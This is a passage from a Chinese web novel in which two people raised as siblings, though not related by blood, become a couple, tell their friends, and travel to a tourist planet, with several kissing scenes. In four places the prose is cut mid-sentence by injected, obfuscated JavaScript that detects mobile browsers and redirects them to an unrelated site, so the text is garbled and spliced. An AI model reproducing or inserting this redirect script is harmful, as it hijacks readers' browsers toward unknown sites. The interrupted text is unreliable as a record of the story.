听到这,梁翘没有忍住,出声打断。“所以,如果不是我和哥哥……,你是不是打算一直不告诉我们,让我们不明不白地当一辈子哥哥和妹妹!?” 梁青澄没有因话语被打断而生气,她继续解释:“这件事越拖只会越严重,我们早就打算在你们满18岁之后就告诉你们,只是一直没有找到合适的时机。小意,”她看向梁意,眼带愧疚,“我们之所以犹豫、纠结就是因为不想伤害你,我知道不论什么时候说,你都会受到伤害。但我们希望你知道,不论你是不是我们亲生的,都会是我们的孩子,我们始终是你的妈妈和爸爸。” 梁意愣怔地看着她。 “你们既然已经知道了这件事,应该也知道伴生蛋和本体之间的关系复杂多变,所以当初登记的时候,小意并没有和你一起登记在我们名下,他是独立的公民身份,只是我们作为监护人看顾,所以,并不会影响你们……可能会有的后续发展。” 他们这些年看着两个孩子长大,别人不知道,但他们作为母父心知肚明。本体和伴生蛋的关系本就不一般,有时候两个小孩可能自己也分不清,到底是什么感情促使他们如此亲密。 但不论他们如何选择,最终会演变出什么样的关系,梁青澄和郝闻都会支持。 “翘翘,小意,妈妈和爸爸确实不是有意隐瞒。只是我们当初真的不知道怎么处理,蓝星基因发展研究院的人说这是千年前的返祖现象,我们不知道……只能,顺其自然……” 郝闻小心翼翼地出声,他拉住两个孩子的手,索性没有人挣扎,任他握住。 梁翘昨晚亲耳听见他们两的谈话,也能猜到几分,所以不算太过惊讶。况且,梁意不是她的哥哥这件事,虽然让她万分心疼梁意,但一种异样的占有欲还是很快充盈她的心脏,梁意在这个世界上最亲密,最紧要的人,只剩下她。 所以此刻,她什么都没说,只是看着梁意。 梁意紧闭嘴唇,一语不发。 梁青澄叹了口气。 对这个孩子,她对他的关注比对梁翘还多一些。 梁意小时候长得太快,生长痛使得他日夜痛苦,但只要一见着梁翘和母父,总是含着一包眼泪忍耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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只是那时候一直没有开发完成,自然不能对外开放。前几年那颗行星的开发已经彻底结束,上边就打算对外开放,当做旅游星创收。 梁翘对没见过的东西总是充满好奇,消息刚刚出来的时候她就想去,只是梁青澄一直没有同意。倒不是费用问题,只是那里毕竟是新开发出来的,她多少会有些不放心,加上梁翘那时候也还小。 这会儿梁翘提出要去旅游,就是捏准了梁青澄的心理,知道她不可能会拒绝。 果然,梁青澄只是思考了一会就同意了。 那颗旅游星后来的开发梁青澄参与了注资入股,已经对外开放好几年了,基本上不会再出什么问题,梁翘想去就让她去吧,免得不知道还得在家闹腾些什么。 待梁翘和梁意离开书房之后,郝闻也眼巴巴地看着她。 梁青澄:“……过阵子我休假的时候也带你去。” * 母父这一关过了之后,梁翘身心都舒畅起来,难受憋闷了那么多天,现在总算圆满。 她对梁意身份转变的适应非常快,一远离母父的视线,就拉住梁意,把他的手放在自己指间把玩,两个人腻歪在一起回了二楼。 他们俩其实一直是这么相处的,只是与现在心境不同而已,梁意此刻也适应良好,随着梁翘玩弄。 “哥,那我们现在算是在一起了吗?” 梁意红着脸点头。 “那,我们能公开吗?”她又问。 “可以。”梁意答应的干脆利落。 他想到了这件事公开的话身边的朋友可能会难以接受,所有人都以为他们是兄妹,突然变成情侣,实在是非常令人震惊的一件事。 但他不在乎,他只关心梁翘能不能接受,只要梁翘想公开,他就愿意。 梁翘笑嘻嘻地揽住他,抬起他的手亲了一口。 “哥哥,你怎么什么都听我的呀?” 梁意不自在的缩了缩手,脸红如血。梁翘以前喊他哥,语气自然又亲昵,他从来不会往别的地方想,但现在梁翘口中的哥哥,饱含调笑意味,每一次吐出来都是为了看他脸红。 “我本来就是什么都听你的。” 15. 情侣 在出发前去L708旅游星前,梁翘把朋友们约出来聚了一下。 这次梁意没有参与,她知道他们俩一朝兄妹变情侣是一件多么让人大跌眼镜的事情,这种事她也不打算告诉太多人,让邓一瞿和江骄阳知道就可以了,其他人就顺其自然吧。 更何况……因为邓一瞿和梁意前段时间那场糊里糊涂的接触和试探,她还真有点心虚。 但没想到,见了面之后,邓一瞿比她还心虚。 她们这次还约在了梁园,梁翘明天就要和梁意一起出发了,今天聚不了太晚。 一进包厢,江骄阳到了,邓一瞿还没到。 她跟江骄阳打了个招呼就坐下来,两个人没聊两句邓一瞿就推门进来。 她们俩对视的第一眼都情不自禁挪开了视线,然后似乎是发觉了自己的心虚,又挪回来。笑容满面热情似火地给对方来了一个拥抱,活像八百年没见的老友重聚一样,把江骄阳看得一愣一愣的。 一坐下,两个人又同时沉默。 江骄阳:“……你们俩搞啥呢。” 梁翘咳了一声,眼神飘忽:“是有点事情,先吃饭吧,吃完饭告诉你们。” “哈哈……我是有个事情告诉你们,”邓一瞿干巴巴地笑了一下,手指扣着桌面,“那吃完饭再说把。” 江骄阳:…… 两个朋友像僵尸一样坐在自己旁边,谁能吃得下去? “现在就说!磨磨唧唧的,快点。” 躲是躲不过去的,梁翘心知肚明,她今天来的目的就是为了把这件事告知两个朋友。 只是她刚准备开口,邓一瞿就把她的话头截住了。 “好吧,我说,”邓一瞿满脸心虚,扣弄着桌子的指尖愈发用力,声音很低,细如蚊呐,“我和松亭在一起了。” 梁翘和江骄阳呆立原地,邓一瞿看她们这样,心中不安。 她知道翘翘喜欢松亭,就算不是喜欢,也曾经想约他出来,多少有些不一样的感情。但是现在,她跟松亭在一起了,这让她有种背叛了朋友的感觉。 那天松亭送她回家,她迷迷糊糊地倒在车子后座睡着了。睡着之前,脑子里还在思考,松亭怎么会知道自己家在哪。 他看起来冷淡得很,不太爱理人,没想到还挺热心。 等她再有意识的时候,感觉车子已经停了,她想应该是到家了,刚准备睁眼起身,就感觉嘴唇上有种奇怪的触感。 眩晕的大脑思考了好几秒,才反应过来,这是另一个人的嘴唇。 ……谁在亲她?松亭在亲她?松亭?! 在她受惊不动的这几秒钟,柔软微凉的唇贴着她慢慢蹭动,显然是个没有经验的新手,不知道怎么动作。 迟疑了一会,有什么东西探出来舔她的嘴唇,还想往更深处钻进去。 邓一瞿下意识张开嘴把他的舌迎进来,然后咬了一口。 味道还不错,甜甜的,邓一瞿想。 被她咬了一口,松亭浑身震动,飞速撤开往后躲,看着她满眼惊慌。 但车子里面就这么大,躲也躲不掉哪去,已经睁开眼的邓一瞿将他眸中的躲闪和忧伤看得一清二楚。 不是,被偷亲的是她,松亭忧伤个屁啊。 第二天清醒之后的邓一瞿坚信自己当时一定是神志不清,不然她绝对做不出接下来的举动。 她伸手摸了一下自己的嘴唇,上面湿漉漉的,还残留着另一个人的□□。 抬头一看,松亭躲到了离她最远的位置,脸色煞白,嘴唇嗡动,想要说些什么,最终一语未发。 甜甜的……邓一瞿舔了一下嘴唇,伸手把松亭拉过来,右手抚上他的脸。 她的手指大力按压着眼前人的唇齿,蠢蠢欲动地想要探进去。 “你吃什么了?怎么是甜的。” 松亭被她的动作和话语击得溃不成军,他不知道该怎么回答,但他很清楚,邓一瞿现在喝醉了。 他紧张的要命,结结巴巴地开口:“什么,什么也没吃,邓一瞿,你弄疼我了。” 明明还不熟悉,两人甚至只是第二次正式见面,连朋友都算不上,他却下意识向邓一瞿撒娇。 邓一瞿误以为自己真的很大力,赶紧把手拿开。 “不好意思,我不是故意的。你刚刚……” “对不起!我……我,你到家了,我先走了。”松亭着急忙慌打断她的话,也不管她接下来的反应,赶紧推开她跑下车了。 邓一瞿呆了半晌,往外面看,确实已经到她家门口了,松亭跑得不见人影。 ……怎么胆子又大又小的。 第二天早上起来,邓一瞿感觉天都塌了。 她昨天喝得不多,自认为酒量也还可以,怎么就昏了头了。 松亭亲了她也就算了,她装睡糊弄过去就好。可瞧她干得是些什么事儿啊,又摸又抱的,这不是让人误会吗。 想到梁翘,想到前男友,邓一瞿下定决心,一定要找松亭说清楚。 然后…… 就成了今天这样。 她话说出口,不敢去看梁翘和江骄阳的眼睛,满心愧疚。 翘翘说得没错,自己就是个色令智昏的大色\魔。 “……那,恭喜你啊。”梁翘看着她一脸苦大仇深,一副愧对于她的样子,迟疑地开口。 虽然不知道她为什么这样,但总觉得松亭这个名字有些耳熟。 江骄阳在心中想了半晌,她也觉得松亭的名字很耳熟,再结合邓一瞿的心虚样,猛然想起来,一拍桌子:“松亭?!不是前段时间翘翘喜欢的那个学弟吗?” “啊?”梁翘也懵了,“我什么时候有喜欢的学弟了?” “哦对对,我想起来了,”江骄阳又想起来那天在图书馆的事情,“松亭是喜欢一瞿来着,我刚忘了。” “啊?!你们怎么知道?!”邓一瞿满脸震惊。 梁翘这才想明白,松亭就是那个她曾经想要接触,最后发现他喜欢邓一瞿的学弟。“我没喜欢过他啊,你千万别误会。” “我靠,你们在图书馆那天就知道他喜欢我?怎么不告诉我啊!” “那是人家的私事,而且当初你不是……我们怎么说啊。”梁翘想到这事有点不自在,当初她可是一心给邓一瞿和她哥制造机会。 邓一瞿显然也想到了,她心虚得很,讷讷低头不看她俩。 梁翘知道她的想法,在心中叹了口气,她觉得愧对邓一瞿。 “一瞿,你别不好意思,其实,我想说的也是这件事……我有对象了。” 两个人异口同声地‘啊?!’了出来。 “我靠,你们俩什么情况这是,”江骄阳左看右看,“不是,怎么你也这个表情啊,你心虚什么啊!” 梁翘伸手抠抠眉毛,又扯扯头发,吞吞吐吐地说:“我对象,你们也认识。” 邓一瞿大惊。“不会是松亭吧?!” “当然不是!你瞎想什么呢。”梁翘被她清奇的脑回路惊住,不敢再遮掩,“是我哥,梁意。” “不是松亭就好……”邓一瞿长舒一口气,然后她听到了什么?梁翘在说谁?她的耳朵还正常吗? “你说谁??你对象是谁??” “梁意,你们认识的那个梁意。” 江骄阳已经被雷劈傻了。 完了,梁翘彻底变态了,从哥宝女变成乱\伦女了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130391|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你终于疯了。”邓一瞿瞬间觉得自己的恋情不算什么了,在梁翘面前纯良的不得了。 梁翘早料到她们是什么反应,十分有耐心地解释:“梁意不是我哥,我们其实没有血缘关系。” 江骄阳神色复杂。“但他当了你18年的哥哥。” 伴生蛋的事情很复杂,伴生蛋的感情也很复杂,梁翘忽然有些不知道该怎么解释。 “他……他是我的伴生蛋,我们之间的感情不是你们以为的那样。” 两脸懵逼。 “你们俩历史课的时候能不能认真听啊,不知道就自己去搜。” …… 十五分钟之后,她们俩放下终端,在梁翘的解释中艰难地接受了这个事实。 “我知道是有点奇怪,但是我希望你们能理解,”梁翘神色认真,她想要获得朋友的祝福和支持,“我不在乎别人怎么想,我只在乎我妈、我爸,还有你们的想法。” 于是江骄阳一脸严肃地向她保证:“既然你已经下手了,我的意思是说既然你已经决定了,作为你最好的朋友,我当然会支持你。” 邓一瞿也满脸认真,一丝不苟:“我是你最好的朋友,当然不会在乎你跟谁在一起了,哪怕这个人曾经做过你的哥哥。” 梁翘:…… 话是好话,从她们嘴里说出来怎么就是听着别扭呢。 “你们能不能不要这样敷衍我。”梁翘一脸无奈。 江骄阳果然没憋住,笑嘻嘻地凑上来勾住她的脖子,把她整个人拉得前倾:“你杀人,我递刀,一瞿埋尸,这么铁的关系了,我们有什么不能接受的。” “别说梁意哥是你的伴生蛋,就算他真是你亲哥,我们也帮你租房子。”邓一瞿扑上来扯住她另外半边身体,像往常一样不着调。 梁翘十分感动,但是:“为什么是我亲哥就得租房啊?” “咳,强取豪夺囚禁play,总不能囚在你们家里吧。” …… 几人笑闹了一通,吃过午饭又去玩了一会游戏,她们已经知道梁翘马上就要出发去L708星旅游,半强迫梁翘答应给她们带了一大堆当地特产。 岩洞矿石,也就是石头。 L708目前各方面都还算落后,除了星球本身的运转资源供给之外,游客去玩,所有东西都得人肉运输。 要带下她们要求的特产,也别想着再置办什么别的东西了。 等回到家,她窝在沙发上看梁意给她收拾行李,跟他吐槽:“哥,你给我少带点儿吧,我得腾点位置带礼物回家呢。” “没事,我的东西少。”梁意头也不回 蓝星新历3044年,出行已经用不着带行李箱了,有特殊的折叠空间钮可以随身携带。 但是容纳空间没有特别大,目前民用的折叠空间钮最大的也就4个平方左右,而且一人只能绑定一个。 他们出去旅游的次数不算少,梁意准备的东西很齐全。梁翘惯用的东西,能塞下的梁意全部都会给她带上,有时候她的空间钮位置不够用,还会放在梁意那边。 梁意给自己准备的东西很少,大部分也都是给梁翘预备的,比如消毒喷雾。 这不是他们第一次出去旅游,也不是第一次单独出去旅游,但是两人都知道,这次是有些不一样的。 梁意想起这些天梁翘时不时对他的揉捏抚摸,上下其手,耳尖默默红了起来,不动声色地在自己的空间钮里面又放了些东西。 因为不确定梁翘的想法,所以两种……他都准备了。 “哥,我听说L708上面有溶洞湖,你记得把泳衣也带上。” 梁意的耳尖红得彻底。 “好。” 16. 亲吻 第二天,顶着郝闻担忧的眼神,他们登上了前往L708的星舰。 梁青澄没有来,他们下午才出发,梁青澄认为这么点事没必要耽误她早就安排好的工作,所以此刻只有郝闻来送他们。 本来邓一瞿和江骄阳也想来送送,梁翘忙不迭拒绝,他们俩只是去旅游而已,不要一副他们会一去不复还的样子。 临出发前,梁翘站在登舰口,跟郝闻告别。 “爸,你回去吧,我们到了给你发信息。” 郝闻伸手理了理她的衣服,梁翘的个子这一年窜的很快,之前比他低许多的小孩,现在也只矮他半个头了。 他温柔地替两人理好衣服褶皱,口中不容拒绝地说:“给我打通讯吧,发信息我怕不能及时看到。” 梁翘神色纠结,“等我们到的时候,这边已经是半夜两点多了,会吵着你们睡觉的。” L708和蓝星有时差,那里的时间要比蓝星早四十个小时。 “没关系,这次你们俩单独跑这么远,我不放心。”郝闻坚持。 梁翘没再拒绝,应了下来。 “翘翘,小意,玩得开心,多拍点照片给我们看,”见时间差不多了,郝闻跟他们告别,“翘翘,照顾好你哥哥。小意,不许什么都听你妹妹的话。” “什么呀,把我说得那么坏。”梁翘装作生气,但没一秒钟就破功了,走上前抱了一下郝闻。 梁意神色严肃正经,很认真的应下郝闻的话:“我会照顾好翘翘的,爸爸。” 互相和郝闻拥抱之后,梁翘和梁意登上前往L708的星舰。 L708现在不算是一个热门的景点,费用高昂是一方面,这个旅游星已经开放好几年了,愿意出钱出力跑那么远去旅游的人早就去过了。 不过现在正值暑假,人也不算少。梁意粗略看了一下,这艘星舰大约有20多人。 他们的位置刚好是星舰舱门处的第一个房间,三十多个小时的航行,都可以在房间里面度过,舒适性与私密性都非常强。 进入房间后,梁翘四下打量了一下。 这个房间是一个长方形的格局,自带一个盥洗室和小客厅。客厅的吧台有饮品和食物,正餐可以通过门口的服务型机器人点餐。 卧室内摆着两张不大的单人床,他们是双人出行,星舰分配的房间也是双人间。 最令人惊奇的是客厅与房间内的外侧墙壁都是透明的,他们可以在航行中感受到广袤无垠的太空。如果需要休息,也可以调成封闭模式。 “不愧是花了大价钱的,这服务真不错。”梁翘感叹。 梁意在更换房间内的床品,其实这种高昂费用的出行,所有用品必然是全新洁净的,但梁翘有些认床,她在陌生的地方睡觉,第一晚总是休息不好。 “嗯,等会航行的时候应该会挺好看的。” 他回应着梁翘的话,还在弯腰收拾东西。 梁翘的眼睛不知何时从透明的墙面移到背对着她的梁意身上。 是挺好看的,她想。不仅是即将见到的太空,还有眼前,梁意的身体。 梁意被她盯了一会,似有所觉,手下的动作越来越快。 全部更换完毕之后他顿了一会才转过身,给梁翘留了反应的时间。 但等他转过身的时候,梁翘的眼睛还在盯着他。见他有些不自在,梁翘唇角勾起一抹笑容,笑盈盈地朝他靠近。 “哥哥,你的动作好快呀,星舰还没有启动呢。” 梁意有些羞赫,他躲避着梁翘的视线,手指不自然地攥紧又放开:“我,不快……翘翘,你可以休息一下。” 他耳尖通红,隐藏在黑色的头发底下,但还是露出一点,被梁翘抓个正着。 梁翘靠近过来,毫不客气地伸手摸上梁意的耳垂,肆意揉\捏。 “你的耳朵怎么这么红?”她装作不知,手中热烫的耳尖愈发灼人,“哥,铺床铺累了呀?” 梁意这下更是僵硬到手脚都不知道怎么摆放,被妹妹把\玩的地方成为他全身上下唯一柔软的部\位。 “我有点热,翘翘,你先放开我。” 他不敢看梁翘,狼狈地侧过头看向地面。 这太糟糕了,他以为自己已经做好了充足的心理准备……甚至一些必要的器具准备,但这也太快了。 他们才刚刚登舰,舰内的客人都还没有来齐。虽然房门的隔音很好,但他也能够想象到,在离他们房间不远处的舰门,笑容亲切可掬的乘务员正在欢迎本次航行的客人。 每个登上星舰的人都会路过他们的房间。 如果翘翘真的对他……有所要求,他好像也不会拒绝。梁意有点难堪地想着,他从没学过如何拒绝梁翘。 见梁意整个人都僵住了,暴露在外的每一寸皮肤都慢慢染上红晕,心情很好的梁翘终于放过了他。 她是打算这一次旅游跟梁意有点亲密接触,但肯定不会是在星舰上,这对她哥太不尊重了。 虽然还没有沟通过这方面的事情,但她相信她哥一定做好了所有准备。并且不用她提醒也能够猜到,他们俩之间,谁才会是那个主导者。 她想给她和梁意之间留下一个难忘美好的开始。 “好啦,热的话就过来喝点冷饮,有你喜欢的刺梨汁。”她牵着梁意的手把他带到沙发上坐下,给他倒了一杯果汁,然后就去研究门口的点餐机器人了。 梁意松了口气,又莫名有些失落,他不敢多想,梁翘想要他如何做,他只需要照办就可以了。 大概三个小时之后,星舰终于启航出发了。 梁翘与梁意在客厅的观景窗前伫立,眼前熟悉的城市风景慢慢缩小,然后被他们踩在脚下,直至消失不见。 他们飞速上升,划过熟悉的蓝天白云,直至进入神秘的太空。 梁翘有些恍惚,她想起历史课堂中老师讲起3000年前的那场保卫之战。那时的蓝星人对于太空的探索进度几乎为0,外太空的一切对他们来说都是未知的,所以面对异种时才会有如此惨痛的伤亡。 但过去3044年之后,蓝星人已经可以初步探索外太空,曾经可望不可即的陌生行星也成为居民日常旅游虚假的景区。 这是她第一次感受到什么叫做历史的进程。 下意识握住身旁人的手,梁翘想,其实梁意也是‘历史’进程的证明,因为他是千年前才会出现的伴生蛋。 我的伴生蛋,梁翘看着他喃喃自语。 梁意显然也很感慨,他回握住梁翘的手,对着她露出一个清浅的笑容。 他们十指交扣,密不可分。 梁翘盯着他的脸,只感觉他唇角上扬的弧度分外迷人,忍耐了许多天的事情忽然顺理成章起来。 她猛地撞上梁意的嘴唇,梁意的闷哼声被她急躁地咽进肚子里。 两人跌跌撞撞地倒在客厅的沙发上,梁翘压着他,一只手握住他不放,另一只手掐住他的下巴,逼迫梁意张开唇齿,迎接她的探入。 他们之前从来没有接过吻,就算是已经互通心意的那几天,她都顾忌着父母。虽然一直动手动脚,但都忍住了没有和梁意有实质性的接触。这次在星舰里面独处,窗外只有不断 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130392|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远去的故土与天际,巨大的孤独感与配得感充斥了她的大脑,是真的忍不住了。 她没有什么技巧可言,满脑子只知道想要和梁意再亲密一点,和他贴得更紧一些。 两片嘴唇相贴的瞬间梁意就已经大脑宕机了,他只知道迎合,迷迷糊糊地跟着梁翘的节奏走,梁翘压得他有些不舒服,但此刻已经顾不上这些了。 她的舌尖好热,梁意只剩这一个念头。 梁翘在他的嘴唇上啃咬,舌尖不断舔舐吮吸着已经被咬出印子的唇\肉。 但仅仅这些还不够,她压住梁意,往更深处探去。 真是奇怪,梁意做了她18年的哥哥,她认为自己对梁意的一切都了如指掌,但怎么直到今天才知道梁意还有这么好亲的嘴巴和舌头? 侵城略地的外来者强硬地闯进来巡视,扫过每一颗牙齿,又舔过敏感的上颚,两人唇齿交缠,沾满了对方的气息, 但梁翘犹嫌不足。 她知道,她知道不足的地方应该用哪里来补足,只是现在……还不行。 仅有的一丝自制力控制她没让自己去探索梁意身体的其他地方,只是压着他亲了许久。 梁意早就不知道反抗为何物了,他被梁翘压得死死的,嘴唇又被堵得严实,还没太学会换气的男人只感觉脑子里晕乎乎的,手脚发软,一丝力气都提不起来。 两人不知道在沙发上亲了多久,直到广播的声音响起。 “……目前星舰已经进入N3T6星系,如您需要服务,请通过房间内服务型机器人进行呼叫,我们会将您需要的物品送至房间。祝各位旅途愉快,再见。” 梁翘慢半拍地抬起头去看一旁的透明观景窗,神秘莫测的宇宙大幕展开在她眼前,壮观非常,震撼人心。 梁意还在喘气,眼中还有刚刚因为窒息而产生的生理性泪水。 他没听清刚才广播说了什么,只知道自己终于被放开了。 梁翘看着眼前皎洁蜿蜒的的银汉横空,又低头去看身下满面潮\红,嘴唇肿\胀的梁意。 再度低下头去亲吻。 等到被放开的时候,梁意的嘴唇已经肿得不能看了。 梁翘有些心虚,点了些清淡的食物送过来。 等梁意从盥洗室出来的时候,就看见她眼神躲闪,不敢看自己。 “怎么了?”他走过去挨着梁翘坐下,看见餐桌上的食物,知道梁翘是不好意思了。 他完全不介意这点小事,梁翘对他做任何事情都可以,他永远都不会生她的气。 梁翘还是不说话。 “翘翘,”梁意顶着被吸\肿的嘴唇哄她,“我觉得……很舒服,你做得很好。” “真的吗?!” 梁翘霍然抬头,眼神亮晶晶地看他,充满期待地向他确认。 梁意的心头闪过一丝怪异,但他没有多想,很是坚定地保证:“真的,你亲得我……特别舒服,我很喜欢。” “那我可以每次都这样亲你吗?”梁翘又问,身体也挤过来贴着他。 梁意迟疑了一下,每次都这样亲…… 梁翘见他没有立马答应,又皱着眉毛扭过去,一副‘我就知道你在骗我’的样子。 “可以,当然可以了。” 梁意赶紧答应下来。 被哄好的妹妹扑过来抱住他,脸蛋埋在他的腰腹,声音闷闷的:“那就好,我点了餐,我们去吃饭吧,我好饿了。” 在梁意看不见的地方,梁翘十分满足地舔了舔嘴唇,心情愉悦。 哥哥太好骗了,怎么一点底线都没有啊。 17. 亲密 星舰抵达L708的时候当地时间是下午六点,L708的地面并不适合人类居住,底下的溶洞中经过这些年的修缮改进已经足以入住了。 没错,L708的居住地是底下溶洞,用蓝星的话来说,这叫特色风情酒店。 星舰的降落地就是酒店的专用停机坪,L708目前只有一个居住地,所有游客过来玩都会安排在这里。 梁翘到达之后按照郝闻的意思给他打了通讯,郝闻接通的很快,确认他们安全抵达,又看了一下居住环境之后就挂断睡了过去。 只不过镜头里的小意为什么带着口罩?郝闻睡着之前脑子里闪过这个念头,旋即进入了黑沉的梦乡。 梁意……只是不能不戴。 在星舰里的三十多个小时,梁翘游戏也不玩了,电影也不看了,终端也不理了,只要闲着没事就压着他接吻。 她分外沉迷于接吻这件事,其他所有都在抛在脑后了。 结果就是梁意的嘴唇已经肿得没法见人了。 梁翘的嘴也肿,但是梁意不咬人,所以看着也还算正常,上了药之后在镜头里就更看不出来了。 梁意的嘴不仅肿,还有些破皮,上面还有不少没来得及消退的牙印。 3044年了,各种医疗制品,消炎消肿的喷雾、药膏,星舰里都备着,梁意自己也带了。 但还是止不住梁翘几乎是黏在他嘴上的行为,嘴巴好了坏坏了好,变得十分敏\感。 这次就是因为在快到L708之前,梁翘又压着他亲了许久。 上了药膏和喷雾,却还没有那么快见效,他只能带上口罩下星舰,又带着口罩和爸爸视频通讯。 梁意不会生气,他相信妹妹有分寸。 只是,之前在家里忍了那么久,出门玩就任性了一点而已。 他们住的酒店房间很有意思,不知道是否可以称之为‘房间’。 一进门,所有格局一览无遗。 没有明显区分出来的卧室和客厅,一张大床摆在石洞里,顶上是原生奇特的矿石。房间里有一个自带的小型溶洞湖,不太大,但是两个人游泳是够的,盥洗室就在溶洞湖和卧室的中间,靠着一侧墙面,居然也很自然地融入进了这个环境。 房间里貌似没有客厅,但是装满酒水饮品和食物的吧台仍然在,没有配桌椅,只有几个形状奇特的矿石摆在一旁,充当了桌椅的功能。 初见的惊奇过后,梁意很自觉地去收拾床铺。 他这次出来带了好几套床品,盥洗室的自动洗衣机10分钟就可以完成清洗和烘干,完全够用。 梁翘这摸\摸,那看看,晃悠了一圈,开始点餐。 吧台的食物都是预制的,他们不太喜欢。 L708没有生物存活,所有食物都是从蓝星运过来的,所以费用也十分高昂。 梁翘不管,她刷梁青澄的卡刷得很开心。 吃完饭,梁翘和梁意什么都没做,洗漱之后就准备休息。 三十三个小时的航行,虽然星舰内的条件很不错,但还是不太舒服,而且还有时差。 在星舰的房间里虽然有两个床,但在梁翘的要求下,他们还是挤在一个小床上睡觉,每次梁意被亲得迷迷糊糊就睡过去了,又被梁翘亲醒。 这会儿酒店里的床很大,两人还是蹭在一起,头挨着头,手牵着手。 梁翘困得不行,梁意倒还好一点,两人交换了一个温和绵长的吻,双双睡了过去。 第二天一早,L708时间早晨六点,梁翘就醒了。 梁意还睡着,昨晚看起来比她还精神点的人,这会儿倒是醒得比她晚。 梁翘没有急着起床,笑眯眯地观察睡得正香的梁意。 视线从他的头发一路往下,眉毛、鼻子、已经消肿的嘴唇、下巴、喉结、锁骨、…… 还有这些日子梁翘花费了毕生自制力才没有摸过去的部\位。 之前以为梁意是哥哥的时候,她好像从来没这样细致地看过他。 认真看了之后才发现,他身体的每一寸,都像是照着她的喜好生长的。 怪不得这么多年她都没谈过恋爱呢,梁翘心中想,恋爱的理想型远在天边,近在眼前,她能看上其他人就见鬼了。 虽然很馋,现在时机也很对,但梁翘还是什么都没做。 她陪着梁意在床上睡觉,她已经睡饱了,现在睡不着,摸过终端开始回消息。 邓一瞿和江骄阳从昨天就开始在群里疯狂找她,问她L708怎么样,跟梁意的进展怎么样。 两个八卦的女人。 梁翘本不想回后面那个问题,但想了一下,恶趣味地拍了一张梁意头埋在她颈窝,睡得正香的照片过去。 画面中,她正脸面对镜头,十分嚣张的比了一个大拇指的手势,梁意只露出一个后脑勺,除了贴她很紧,别的什么也看不出来。 但长了眼睛的人都能看出来照片里的甜蜜氛围与暧昧情愫。 她们回得很快,蓝星这个时候应该是下午两点, 邓一瞿:真是有伤风化! 江骄阳:靠,动作这么快,就睡到了。 江骄阳:感觉怎么样?[打趣笑] 梁翘料到她们俩会有些什么反应,一只手抬起来叭叭打字:没看见我们俩都穿着衣服呢吗,眼睛呢。 邓一瞿:又给你\爽到了,进度真快。 江骄阳:一瞿咱俩跟他们情况不一样,那是培养了十几年的感情,能一样么。 江骄阳:难道还没下手? 邓一瞿:也就梁意哥,要是别人,她不可能的。 自从知道梁翘和梁意的事儿之后,她们俩总爱拿之前梁翘两人的兄妹关系打趣,势要戳中梁翘心中的隐痛。 实则梁翘根本不在乎,梁意是她的哥哥她反而更加满意,这是多美好的感情?她既是梁意的亲人,又是他的爱人,或许还可以是他的主人…… 梁翘回道:你们俩就嫉妒吧,不说了,起床约会。 梁意快醒了,这是最近她才发现的有关于梁意的小习惯。 即将醒来的时候,梁意处于一个半梦半醒的状态,人会比较迷糊,总是会用脸颊去蹭身下的枕头,企图让自己清醒。 此刻梁意脑袋底下的枕头是她的手臂和肩膀。 刚刚拍照搂过来的。 等了一会,梁意迷迷瞪瞪地睁开眼睛,脸颊还在下意识挨蹭,忽然意识到不对。 梁翘笑眯眯地凑上去亲了他一下,“早呀,哥哥。” 然后好以整暇地看着梁意的耳尖漫上红晕,顺着脸颊一路向下,整个人都热烫起来。 “早,早上好,翘翘,”他低垂着眼睛,慌乱起身。 梁翘也没再逗他,今天还有约会呢,可不能一大早就赖床。 洗漱好后,两人牵着手去L708的观景区游览。 L708之所以能成为流量和收益都不错的旅游星,就是因为它自带的溶洞,巧夺天工,精美绝伦。 这颗星球没有生命,生命也无法存活,他们去观景区都需要穿上特制的防护服,还有吸氧面罩。 酒店是全天氧气循环的,所耗财力物力惊人。 万亿年的时间造就了L708的惊人之美,没有任何人工痕迹,完全属于自然馈赠。 他们请了一个讲解员,一路边走边看,拍了不少照片。 景区非常大,因为区域不同,所呈现出来的效果也不同,还有各种震撼的溶洞湖,梁翘惊叹连连,赞美不已。 梁意有些无奈,不是说约会么,怎么好像真的出来逛景点一样…… 而且一直有个讲解员跟着他们介绍,翘翘也没对他做什么。 ……他也不是想要翘翘对他做什么。梁意想到这有点脸红,情不自禁停了下来。 梁翘似乎有些不满他的呆愣,走过来牵着他的手往前埋头直冲。 “翘翘,不用这么急,我们慢慢逛。”梁意下意识安抚她。 但梁翘不听,梁意只好随她。 急匆匆地走了一会儿,讲解员却不知道哪去了。 梁意有些慌乱和紧张,人生地不熟的,就算终端有定位,也还是不保险。 “翘翘,翘翘,你慢一点,讲解员不见了,可能是没跟上我们。” 他伸出手去拉梁翘,梁翘似乎铁了心就是要带他走,手指抓得更紧,不容他拒绝。 梁意一边用眼睛找讲解员,一边分神记住路线,免得等会找不到回去的路了。 但没多久,梁翘就停了下来,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 